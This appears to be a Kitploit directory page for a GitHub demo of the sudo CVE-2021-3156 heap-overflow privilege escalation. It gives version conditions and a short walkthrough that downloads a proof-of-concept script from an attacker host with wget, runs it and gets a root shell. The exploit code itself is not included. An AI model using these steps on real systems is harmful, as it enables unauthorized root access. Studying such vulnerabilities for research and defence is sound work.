Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Review.CVE-2021-3156 — CVE-2021-3156-Exploit-Demo | Kitploit
Tools/GitHubGitHub/topskiypavelqwertygang/review.cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubtopskiypavelqwertygang/review.cve-2021-3156

Review.CVE-2021-3156

CVE-2021-3156-Exploit-Demo

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
431 year agoNot yet reviewed

👑 CVE-2021-3156 (Baron Samedit) — Privilege Escalation via Heap Overflow in sudo

📅 Date: 2025-06-08
✍️ Author: @TopskiyPavelQwertyGang 🧠 Security Researcher | Red Team Enthusiast


🧠 CVE Overview

  • CVE-ID: CVE-2021-3156
  • Type: Heap-based Buffer Overflow
  • Component: sudoedit (sudo)
  • Access Level: Local
  • Goal: Gaining root privileges

🧠 Description

Heap overflow in sudoedit allows a local user to gain root access
when executing the sudoedit command with specially crafted parameters.

Exploitation is active for sudo versions < 1.9.5p2, including popular Ubuntu/Debian/CentOS images.
Even with ASLR enabled, the vulnerability remains exploitable.


🐾 Exploitation Conditions

root@kitploit:~
OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (уязвим)
ASLR   : 2 (включён)

🧪 Environment Preparation

  1. Checked versions of glibc and sudo:
root@kitploit:~
ldd --version
sudo --version
  1. Transferred PoC scripts from another machine via built-in HTTP server:
root@kitploit:~
python3 -m http.server 80
  1. On the target machine, PoC is downloaded and executed:
root@kitploit:~
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Successful PoC Exploitation

root@kitploit:~
$ python3 exploit_nss.py
# whoami
root

🧾 Conclusion

Exploitation of CVE-2021-3156 remains possible even with active ASLR, if glibc ≥ 2.26 and sudo is a vulnerable version.
The most stable exploit turned out to be exploit_nss.py, which triggers on the first attempt with a correct NSS configuration.

🧨 System under control.

Download Tool